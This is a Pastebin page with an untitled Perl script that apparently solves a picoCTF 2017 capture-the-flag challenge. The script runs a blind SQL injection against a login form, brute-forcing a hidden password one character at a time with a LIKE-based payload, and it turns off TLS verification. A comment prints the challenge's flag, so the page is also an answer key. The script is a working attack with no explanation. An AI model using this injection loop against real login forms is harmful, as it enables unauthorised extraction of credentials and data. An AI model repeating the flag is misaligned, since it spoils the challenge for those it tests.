Advertisement
Guest User

Untitled

a guest
Apr 2nd, 2017
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Per 2.39 KB | None | 0 0
  1. #!/usr/bin/perl                                                                                                                                                                                
  2. use LWP;                                                                                                                                                                                        
  3. use LWP::UserAgent;                                                                                                                                                                            
  4. use HTTP::Cookies;                                                                                                                                                                              
  5. use URI::Escape;                                                                                                                                                                                
  6.                                                                                                                                                                                                  
  7. my $cookie_jar = HTTP::Cookies->new(
  8.     agent => "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0"
  9. );
  10.  
  11. my $ua = LWP::UserAgent->new(
  12.     ssl_opts   => { verify_hostname => 0 },
  13.     cookie_jar => $cookie_jar,
  14. );
  15.  
  16. # flag is flag{not_ALL_ERRORS_SHOULD_BE_SHOWN_FB83C582EE9B64D1F446CFD01702E7C5}
  17.  
  18. my $wordSoFar = "";
  19. push @{ $ua->requests_redirectable }, 'POST';
  20.  
  21.  
  22.  
  23. rightString();
  24.  
  25.  
  26.  
  27. sub rightString {
  28.  
  29.   my @aplhabet = ("\\_"," ","\\%","=","&","#","-","A" .. "Z",0 .. 9,"a" .. "z","_");
  30.   $| = 1;
  31.   my $found = 0;
  32.   print "ALFA: @aplhabet\n";
  33.  
  34.   while ( length($wordSoFar) < 164) {
  35.    
  36.   foreach my $ch (@aplhabet) {
  37.  
  38.  
  39.     my $req = HTTP::Request->new(POST => "http://shell2017.picoctf.com:35428/");
  40.     my $res = $ua->request($req);
  41.     $req->content_type('application/x-www-form-urlencoded');
  42.  
  43.     $req->content("username=admin&password=a%27+or+pass+like+%27" . uri_escape( $wordSoFar . $ch) . "%25");
  44.     my $res = $ua->request($req);
  45.  
  46.     my $content = $res->content;
  47.  
  48.     if ( $content =~ /Login Functionality Not Complete. Flag is 63 characters/ ) {
  49.       $found = 1;
  50.       $wordSoFar .= $ch;
  51.       last;
  52.     }
  53.     $found = 0;
  54.     print $ch . " ";
  55.   }
  56.   print "\n" . $wordSoFar . "\n";
  57.  
  58.   }
  59.  
  60. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement